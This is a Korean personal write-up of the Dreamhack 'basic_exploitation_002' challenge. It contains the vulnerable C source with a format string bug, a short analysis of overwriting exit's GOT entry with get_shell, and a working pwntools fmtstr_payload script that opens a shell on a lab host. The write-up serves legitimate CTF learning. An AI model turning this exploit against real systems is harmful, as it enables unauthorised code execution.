← 전체 Write-Up

Pwn / Dreamhack

basic_exploitation_002

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

basic_exploitation_002 — 실습 화면 1

  • 32bit
  • no Canary
  • NX ON
  • No PIE

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

분석

1. 취약점 분석


2. 익스플로잇

스택 프레임 구조 파악

  • get_shell 함수가 있음. 이걸 활용해서 쉘을 따내면 될 거같다.
  • printf() 인자로 buf가 직접 들어와있다. FSB취약점 발생.
  • exit() 함수의 got를 get_shell() 함수의 got 로 overwrite 하면 쉘을 띄울 수 있습니다.

익스플로잇 코드

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = remote('host3.dreamhack.games', 23079)

e = ELF('./basic_exploitation_002')

exit_got = e.got['exit']
get_shell = e.symbols['get_shell']


payload = fmtstr_payload(1, {exit_got:get_shell})
p.sendline(payload)

p.interactive()

결과

basic_exploitation_002 — 실습 화면 2

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처